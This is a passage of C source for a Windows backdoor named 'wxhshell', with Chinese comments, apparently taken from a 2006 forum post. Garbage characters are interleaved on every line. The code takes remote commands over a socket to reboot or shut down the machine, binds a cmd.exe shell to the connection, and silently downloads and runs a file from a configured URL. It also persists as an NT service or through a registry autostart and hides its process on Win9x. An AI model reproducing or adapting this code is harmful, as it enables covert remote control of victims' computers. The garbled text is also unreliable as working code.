  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x-AZ %)N9  
  } "E8zh|m o  
  else { k-HCeZ  
:)_~w4&  
    switch(cmd[0]) { l*kPOyB  
  LX@/RAd vz  
  // 帮助 '`XX "_k3  
  case '?': { PG_0\'X)/w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H N.3  
    break; u\LFlX0sO  
  } q|v(Edt|_[  
  // 安装 %9M~f*  
  case 'i': { 0LfU=X0#7  
    if(Install()) &znQ;NH#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KA){''>8  
    else & M~`:R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LF~*^n>  
    break; yfx7{naKC`  
    } e|p$d:#!  
  // 卸载 USVqB\#  
  case 'r': { KTn}w:+B\  
    if(Uninstall()) 8ZKo_I\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h|h>u ^@  
    else 3v mjCm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Jk0v_ X  
    break; mXUGe:e8  
    } q@@T]V6  
  // 显示 wxhshell 所在路径 &/uu)v  
  case 'p': { &%s8L\?  
    char svExeFile[MAX_PATH]; ltgc:&=|@  
    strcpy(svExeFile,"\n\r"); Xy@7y[s]  
      strcat(svExeFile,ExeFile); L. EiO({W  
        send(wsh,svExeFile,strlen(svExeFile),0); 1\g6)|R-+  
    break; P#_sg0oJF  
    } H'LD}\K l  
  // 重启 >layJt  
  case 'b': { +> WM[o^I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l"!Ko G7  
    if(Boot(REBOOT)) p8\zG|b5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PC[c/CoD  
    else { B';6r4I-  
    closesocket(wsh); XP1~d>j  
    ExitThread(0); XvE9 b5}  
    } QR Ei7@t  
    break; 5Pd"h S  
    } Ty<L8+B|  
  // 关机 AN24Sf'`  
  case 'd': { W3;#fa:[L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @EDs~ lPv  
    if(Boot(SHUTDOWN)) Nof3F/2 N&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7\9>a  
    else { `8I&7c  
    closesocket(wsh); g=2Rqi5  
    ExitThread(0); g*F'[Z."  
    } /-qxS <?o  
    break; :LQ5 u[g$\  
    } h~(D@/tB  
  // 获取shell !O#dV1wAa  
  case 's': { {fEwA8Ir  
    CmdShell(wsh); H.W E6  
    closesocket(wsh); #Ap;_XcKw  
    ExitThread(0); 5i-Rglo  
    break; OI?K/rn  
  } ph_4q@  
  // 退出 7yz4'L  
  case 'x': { IR-dU<<9O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); svuq gSn  
    CloseIt(wsh); "d$m@c  
    break; VB?O hk]<  
    } jU3Z*Z)zN  
  // 离开 IhBp%^H0-  
  case 'q': { N*`b%XGn3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +Ag!?T  
    closesocket(wsh); $YXMI",tt<  
    WSACleanup(); 7 As|Ns`  
    exit(1); v9D22,K-  
    break; 24/XNSE,-  
        } w,Lvt }  
  } OKP9CLg9  
  } &E4 0* (C  
8>.J1C  
  // 提示信息 ?  BE6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gi-Yqco  
} =r.mlc``W  
  } @0eHS +  
<N`J`J-[  
  return; #_|sgS?1  
} K3' niGT  
rC7``#5  
// shell模块句柄 2<][%> '  
int CmdShell(SOCKET sock) F! X}(N?t  
{ +E;2d-x*p  
STARTUPINFO si; fsEzpUY:{W  
ZeroMemory(&si,sizeof(si)); h@@nR(<i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eXkujjSw"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (__yh^h:m  
PROCESS_INFORMATION ProcessInfo; JIFU;*PR1  
char cmdline[]="cmd"; #CnHf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nD0}wiL{  
  return 0; I0'[!kBF|  
} Khe!g1=&X  
iajX~kv  
// 自身启动模式 [Cb` {  
int StartFromService(void) NziZTU}  
{ $Y9jrR'w  
typedef struct /\w)>0  
{ 'Vr$MaO  
  DWORD ExitStatus; o d7]tOK9  
  DWORD PebBaseAddress; xESjM1A)  
  DWORD AffinityMask; _6k*'aT~FK  
  DWORD BasePriority; $%%os6y2v  
  ULONG UniqueProcessId; +e-,ST&w(  
  ULONG InheritedFromUniqueProcessId; e|rg;`AW  
}   PROCESS_BASIC_INFORMATION; WH$e2[+Y  
F*Z=<]<+  
PROCNTQSIP NtQueryInformationProcess; $XU5??8  
%+F"QI1~0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WnH UE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9M /SH$Qy  
`s]4AKBO  
  HANDLE             hProcess; =rd|0K"(r  
  PROCESS_BASIC_INFORMATION pbi; 4#(ZNP  
9~0^PzTA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); teW6;O_  
  if(NULL == hInst ) return 0; )%X;^(zKM  
oR~e#<$;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 97,rE$bC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 20TCG0% x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bpkwn<7-  
lg}HGG  
  if (!NtQueryInformationProcess) return 0; |T4kqW{  
"0EA;S8$8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d$Y7u  
  if(!hProcess) return 0; t UR c bwV  
Fa epDjY8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m3 ^/: <  
{3Y )rY!z  
  CloseHandle(hProcess); ]}mxY vu_i  
GI7=x h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '>k{tPi.  
if(hProcess==NULL) return 0; |3{&@7  
\@~UDP]7  
HMODULE hMod; (5 <^p&  
char procName[255]; ==H$zmK  
unsigned long cbNeeded; ZCVl5R(mZ  
M|[ZpM+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W><dYy=z5  
+-a&2J;J'  
  CloseHandle(hProcess); ,SScf98,j  
u=&Bmn_  
if(strstr(procName,"services")) return 1; // 以服务启动 -z:&*=  
Kv{8iAB#c  
  return 0; // 注册表启动 }4>JO""  
} D\~e&0*  
_ OaRY]  
// 主模块 }#v{`Sn%^C  
int StartWxhshell(LPSTR lpCmdLine) ,&YTj>  
{ gr-x |wK  
  SOCKET wsl;  y\F=ui  
BOOL val=TRUE; =6=_/q2  
  int port=0; %5  
  struct sockaddr_in door; _J]2~b  
r,N[)@  
  if(wscfg.ws_autoins) Install(); nW+YOX|+  
a45 ss7  
port=atoi(lpCmdLine); ^# A.@  
}E}8_ 8T6  
if(port<=0) port=wscfg.ws_port; Y& ] 8 {  
?G08NR  
  WSADATA data; {^Pq\h;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [<wbbvXR  
=C f(B<u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dz_eB"}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DP7C?}(  
  door.sin_family = AF_INET; nMoWOP'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pGIe=Um0W  
  door.sin_port = htons(port); [rreFSy#@  
JeY' 8B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^*^/]vM  
closesocket(wsl); uO >x:*^8  
return 1; 'FzN[% K"  
} fMeZ]rb  
M;Wha;%E"  
  if(listen(wsl,2) == INVALID_SOCKET) { )~rB}>^Z  
closesocket(wsl); i_F$&?)  
return 1; 1Xyp/X2rI  
} }t>q9bZ9z  
  Wxhshell(wsl); y1BgK>R  
  WSACleanup(); |*,jU;NI  
nSY-?&l6P  
return 0; ~ E=\t9r  
kA7(CqUW  
} (tl}q3U  
)9P&=  
// 以NT服务方式启动 ~ H[%vdR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ., :uZyG  
{ _1jw=5^P\i  
DWORD   status = 0; nDlO5 pe"d  
  DWORD   specificError = 0xfffffff; >]}yXg=QK+  
+#]|)V Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?Ay3u^X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }.:d#]g8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }#=Od e  
  serviceStatus.dwWin32ExitCode     = 0; [.q(h/b  
  serviceStatus.dwServiceSpecificExitCode = 0; K@@9:T$  
  serviceStatus.dwCheckPoint       = 0; (:Cc3  
  serviceStatus.dwWaitHint       = 0; (G4'(6  
$Kq<W{H3ut  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B; -2$ 77  
  if (hServiceStatusHandle==0) return; c6b0*!D"}  
ZM~`Gd9K0E  
status = GetLastError(); P Tnac  
  if (status!=NO_ERROR) 5a(<%Q <"  
{ CtT~0Y|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,w&:_n  
    serviceStatus.dwCheckPoint       = 0; =s'7$D}0.  
    serviceStatus.dwWaitHint       = 0; Sue 6+p  
    serviceStatus.dwWin32ExitCode     = status; {TL +7kiX/  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z~3u:[x";  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z/1hqxHl  
    return; ma9ADFFT  
  } Q[s 2}Z!N;  
+$(0w35V5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h39e)%x1  
  serviceStatus.dwCheckPoint       = 0; =w <VT%  
  serviceStatus.dwWaitHint       = 0; fW~*6ln  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7<yp"5><)  
} { (\(m/!Z  
yx0Q+Sm1:  
// 处理NT服务事件,比如:启动、停止 O3!d(dY=_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K&UE0JO'  
{ B <+K<,S  
switch(fdwControl) k!doIMj  
{ j??tmo  
case SERVICE_CONTROL_STOP: cw+g z!!  
  serviceStatus.dwWin32ExitCode = 0; w &vhWq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m4gU*?  
  serviceStatus.dwCheckPoint   = 0; {Bvm'lq`  
  serviceStatus.dwWaitHint     = 0; 9Q@*0-  
  { S?,_<GD)w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "2mFC!  
  } feCqbWq:  
  return; @\~tHJ?hQd  
case SERVICE_CONTROL_PAUSE:  vbKQ*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G&o64W;-s  
  break; z{6 YC~  
case SERVICE_CONTROL_CONTINUE: 2cjEex:&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bn-J_-%M  
  break; +a]j[#  
case SERVICE_CONTROL_INTERROGATE: uMDtdC8  
  break; GEtbs+[  
}; pAg$oe#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #` +]{4hR  
} bm}+}CJ@#0  
5w-JPjH  
// 标准应用程序主函数 zKJ. Tj W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _[1^s$  
{ kV 1vb  
QV/";A3k  
// 获取操作系统版本 =xBT>h;  
OsIsNt=GetOsVer(); hwDXm9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p!GZCf,   
MOyT< $  
  // 从命令行安装 kZK//YN#  
  if(strpbrk(lpCmdLine,"iI")) Install(); QSmJ`Bm  
`Z8^+AMc  
  // 下载执行文件 0IFlEe[>#  
if(wscfg.ws_downexe) { H56 ^n<tg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RH=$h! 5  
  WinExec(wscfg.ws_filenam,SW_HIDE); O3+)qb!X  
} L *{QjH  
b8cVnP  
if(!OsIsNt) { ( H[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q)+Y}  
HideProc(); \[k% )_  
StartWxhshell(lpCmdLine); o4'Wr  
} (+x]##Q  
else \=8=wQv  
  if(StartFromService()) ,|iy1yg(  
  // 以服务方式启动 jnDQ{D  
  StartServiceCtrlDispatcher(DispatchTable); 3q CHh  
else wDZ  
  // 普通方式启动 ^vn\4  
  StartWxhshell(lpCmdLine); fD(7F N8  
.ujj:>  
return 0; |>@ -grs  
}
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只看该作者 1 发表于: 2006-10-10
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